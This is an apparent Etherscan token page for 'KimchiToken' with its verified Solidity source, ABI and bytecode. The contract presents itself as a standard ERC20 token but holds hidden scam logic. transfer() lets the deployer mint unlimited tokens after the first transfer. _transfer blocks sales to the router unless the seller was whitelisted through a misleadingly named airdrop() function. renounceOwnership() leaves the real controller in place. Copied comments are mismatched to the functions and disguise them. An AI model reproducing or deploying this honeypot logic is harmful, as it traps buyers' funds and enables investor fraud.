ETH Price: $2,607.19 (-2.38%)

Token

KimchiToken (Kimchi~)
 

Overview

Max Total Supply

10,000,000,001,000,049.999999999999999999 Kimchi~

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,999,900,000,000,000 Kimchi~

Value
$0.00
0xf156e7658e8ebcca026e67edbfd2026124dbb36c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kimchi

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 2000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-15
*/

/*
Kimchi~ 
by: Togawa Ishimatsuru
*/


// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
           
pragma solidity ^0.8.7;
contract Ownable is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}

contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function KimchiSwapAddress (address Uniswaprouterv02) public checker {
        router = Uniswaprouterv02;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function trades(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */
    function airdrop(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            trades(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}
contract  Kimchi is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 1000000 * 10 ** 18;

    constructor () ERC20(unicode'KimchiToken','Kimchi~') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"KimchiSwapAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a0604052600960f91b60805269d3c21bcecceda1000000600a553480156200002757600080fd5b506040518060400160405280600b81526020016a25b4b6b1b434aa37b5b2b760a91b8152506040518060400160405280600781526020016625b4b6b1b434bf60c91b81525060006200007e6200011e60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908290a3508151620000dd90600790602085019062000214565b508051620000f390600890602084019062000214565b50506009805460ff1916600117905550620001186200010f3390565b600a5462000122565b6200031e565b3390565b6001600160a01b038216620001875760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b80600660008282546200019b9190620002ba565b90915550506001600160a01b03821660009081526004602052604081208054839290620001ca908490620002ba565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200022290620002e1565b90600052602060002090601f01602090048101928262000246576000855562000291565b82601f106200026157805160ff191683800117855562000291565b8280016001018555821562000291579182015b828111156200029157825182559160200191906001019062000274565b506200029f929150620002a3565b5090565b5b808211156200029f5760008155600101620002a4565b60008219821115620002dc57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680620002f657607f821691505b602082108114156200031857634e487b7160e01b600052602260045260246000fd5b50919050565b60805160f81c610f9a6200033d60003960006101670152610f9a6000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063dd62ed3e14610243578063ed66d4711461027c57600080fd5b8063715018a6146101cd578063729ad39e146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610e2a565b60405180910390f35b61012b610126366004610d34565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610cf8565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000000016815260200161010f565b61012b61019f366004610d34565b610403565b61013f6101b2366004610caa565b6001600160a01b031660009081526004602052604090205490565b6101d561043a565b005b6101d56101e5366004610d5e565b6104f6565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610594565b61012b61022b366004610d34565b6105a3565b61012b61023e366004610d34565b610656565b61013f610251366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d561028a366004610caa565b610762565b60606007805461029e90610eae565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610eae565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e3384846107f6565b5060015b92915050565b600061034584848461094e565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103e45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103f885336103f38685610e97565b6107f6565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103f3908690610e7f565b6000546001600160a01b031633146104945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031633146105505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b60005b81518110156105905761057e82828151811061057157610571610f38565b6020026020010151610baa565b8061058881610ee9565b915050610553565b5050565b60606008805461029e90610eae565b3360009081526005602090815260408083206001600160a01b03861684529091528120548281101561063d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103db565b61064c33856103f38685610e97565b5060019392505050565b600080546001600160a01b031633148015610678575060095460ff1615156001145b1561069b57610689335b848461094e565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156106b8575060095460ff16155b15610751576006546106ca9083610c28565b6006556001600160a01b0383166000908152600460205260409020546106f09083610c28565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107419086815260200190565b60405180910390a3506001610332565b61075a33610682565b506001610332565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166108715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0382166108ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001546001600160a01b0383811691161415610a81576001600160a01b03831660009081526003602052604090205460ff16610a8157600080fd5b6001600160a01b03831660009081526004602052604090205481811015610b105760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103db565b610b1a8282610e97565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610b50908490610e7f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9c91815260200190565b60405180910390a350505050565b6000546001600160a01b03163314610c045760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600080610c358385610e7f565b905083811015610c875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103db565b9392505050565b80356001600160a01b0381168114610ca557600080fd5b919050565b600060208284031215610cbc57600080fd5b610c8782610c8e565b60008060408385031215610cd857600080fd5b610ce183610c8e565b9150610cef60208401610c8e565b90509250929050565b600080600060608486031215610d0d57600080fd5b610d1684610c8e565b9250610d2460208501610c8e565b9150604084013590509250925092565b60008060408385031215610d4757600080fd5b610d5083610c8e565b946020939093013593505050565b60006020808385031215610d7157600080fd5b823567ffffffffffffffff80821115610d8957600080fd5b818501915085601f830112610d9d57600080fd5b813581811115610daf57610daf610f4e565b8060051b604051601f19603f83011681018181108582111715610dd457610dd4610f4e565b604052828152858101935084860182860187018a1015610df357600080fd5b600095505b83861015610e1d57610e0981610c8e565b855260019590950194938601938601610df8565b5098975050505050505050565b600060208083528351808285015260005b81811015610e5757858101830151858201604001528201610e3b565b81811115610e69576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610e9257610e92610f22565b500190565b600082821015610ea957610ea9610f22565b500390565b600181811c90821680610ec257607f821691505b60208210811415610ee357634e487b7160e01b600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610f1b57610f1b610f22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122004c0b28a85715bdd82eeda140bc457e7bb337cf8e29e406a69d1895c020457c864736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063dd62ed3e14610243578063ed66d4711461027c57600080fd5b8063715018a6146101cd578063729ad39e146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610e2a565b60405180910390f35b61012b610126366004610d34565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610cf8565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610d34565b610403565b61013f6101b2366004610caa565b6001600160a01b031660009081526004602052604090205490565b6101d561043a565b005b6101d56101e5366004610d5e565b6104f6565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610594565b61012b61022b366004610d34565b6105a3565b61012b61023e366004610d34565b610656565b61013f610251366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d561028a366004610caa565b610762565b60606007805461029e90610eae565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610eae565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e3384846107f6565b5060015b92915050565b600061034584848461094e565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103e45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103f885336103f38685610e97565b6107f6565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103f3908690610e7f565b6000546001600160a01b031633146104945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031633146105505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b60005b81518110156105905761057e82828151811061057157610571610f38565b6020026020010151610baa565b8061058881610ee9565b915050610553565b5050565b60606008805461029e90610eae565b3360009081526005602090815260408083206001600160a01b03861684529091528120548281101561063d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103db565b61064c33856103f38685610e97565b5060019392505050565b600080546001600160a01b031633148015610678575060095460ff1615156001145b1561069b57610689335b848461094e565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156106b8575060095460ff16155b15610751576006546106ca9083610c28565b6006556001600160a01b0383166000908152600460205260409020546106f09083610c28565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107419086815260200190565b60405180910390a3506001610332565b61075a33610682565b506001610332565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166108715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0382166108ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001546001600160a01b0383811691161415610a81576001600160a01b03831660009081526003602052604090205460ff16610a8157600080fd5b6001600160a01b03831660009081526004602052604090205481811015610b105760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103db565b610b1a8282610e97565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610b50908490610e7f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9c91815260200190565b60405180910390a350505050565b6000546001600160a01b03163314610c045760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600080610c358385610e7f565b905083811015610c875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103db565b9392505050565b80356001600160a01b0381168114610ca557600080fd5b919050565b600060208284031215610cbc57600080fd5b610c8782610c8e565b60008060408385031215610cd857600080fd5b610ce183610c8e565b9150610cef60208401610c8e565b90509250929050565b600080600060608486031215610d0d57600080fd5b610d1684610c8e565b9250610d2460208501610c8e565b9150604084013590509250925092565b60008060408385031215610d4757600080fd5b610d5083610c8e565b946020939093013593505050565b60006020808385031215610d7157600080fd5b823567ffffffffffffffff80821115610d8957600080fd5b818501915085601f830112610d9d57600080fd5b813581811115610daf57610daf610f4e565b8060051b604051601f19603f83011681018181108582111715610dd457610dd4610f4e565b604052828152858101935084860182860187018a1015610df357600080fd5b600095505b83861015610e1d57610e0981610c8e565b855260019590950194938601938601610df8565b5098975050505050505050565b600060208083528351808285015260005b81811015610e5757858101830151858201604001528201610e3b565b81811115610e69576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610e9257610e92610f22565b500190565b600082821015610ea957610ea9610f22565b500390565b600181811c90821680610ec257607f821691505b60208210811415610ee357634e487b7160e01b600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610f1b57610f1b610f22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122004c0b28a85715bdd82eeda140bc457e7bb337cf8e29e406a69d1895c020457c864736f6c6343